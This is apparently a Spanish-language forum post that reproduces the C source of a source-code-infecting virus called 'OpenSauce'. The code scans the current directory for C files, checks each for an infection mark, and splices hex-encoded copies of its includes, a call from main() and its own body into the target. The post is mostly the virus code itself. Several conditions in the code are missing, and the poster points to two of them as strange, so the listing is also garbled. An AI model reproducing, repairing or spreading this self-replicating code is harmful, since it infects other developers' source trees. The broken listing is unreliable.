Código
<---------------------> <----opensauce.c------> <---------------------> /* * OpenSauce * * A trial to infect source code * zert <zert@int80h.net> * */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <dirent.h> #include <elf.h> #include <sys/types.h> #include <sys/wait.h> void virus(); int main(int argc, char *argv[]) { virus(); } void virus() { int i, hd, fd, readbyte, writebyte, posmain, posbuffer; DIR *dd; struct dirent *dirp; char nibble[2], nibblechar, *readbuffer, *writebuffer, *readmain, *writemain, *bufname, *buffer; char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a"; char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a"; char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... "; /* scan for hosts in current dir */ dd = opendir("."); while>0)//Aqui if>=0) {//Y Aqui /* is a C source file? */ /* searching infection mark... */ lseek(fd, -30, SEEK_END); readbyte = read(fd, bufname,30); if { /* infection mark not found */ /* searching main() function... */ lseek(fd, 0, SEEK_SET); posmain = posbuffer = 0; while>0) { if( >0) || >0) || >0) || >0) || >0) || >0) ) { break; } posmain += readbyte; } if(posbuffer>0) { posmain += ((int)posbuffer-(int)buffer); lseek(fd, posmain, SEEK_SET); read(fd, buffer, 80); if>0) posmain += 2 + ((int)posbuffer-(int)buffer); else posmain = -1; } else posmain = -1; if(posmain>0) { /* let's infect! */ lseek(fd, 0, SEEK_SET); for(i=0;i<strlen(charinclude);i+=2) { nibble[0] = charinclude[i]; nibble[1] = charinclude[i+1]; } while>0) { lseek(fd, -readbyte, SEEK_CUR); write(fd, writebuffer, writebyte); writebyte = read(fd, writebuffer, writebyte); lseek(fd, -writebyte, SEEK_CUR); write(fd, readbuffer, readbyte); } lseek(fd,-readbyte,SEEK_CUR); write(fd,writebuffer,writebyte); /* call virus from main() */ lseek(fd, posmain+writebyte, SEEK_SET); while>0) { lseek(fd,-readbyte,SEEK_CUR); write(fd,writemain,writebyte); writebyte=read(fd,writemain,writebyte); lseek(fd,-writebyte,SEEK_CUR); write(fd,readmain,readbyte); } lseek(fd,-readbyte,SEEK_CUR); write(fd,writemain,writebyte); /* copy virus function at EOF */ lseek(fd, 0, SEEK_END); for(i=0;i<strlen(charvirus);i+=2) { nibble[0] = charvirus[i]; nibble[1] = charvirus[i+1]; write(fd, &nibblechar, 1); } lseek(fd, 0, SEEK_END); for(i=0;i<strlen(charvirusend);i+=2) { nibble[0] = charvirusend[i]; nibble[1] = charvirusend[i+1]; write(fd, &nibblechar, 1); } /* that's all folks! */ /* just 1 infection each time */ close(fd); } } } close(fd); } closedir(dd); /* sauce! */ } <----------------------> <--end of-opensauce.c--> <---------------------->
Donde pone aqui y aqui se usan dos condiciones muy raras.
Saludos.
PD: Lo saque de http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/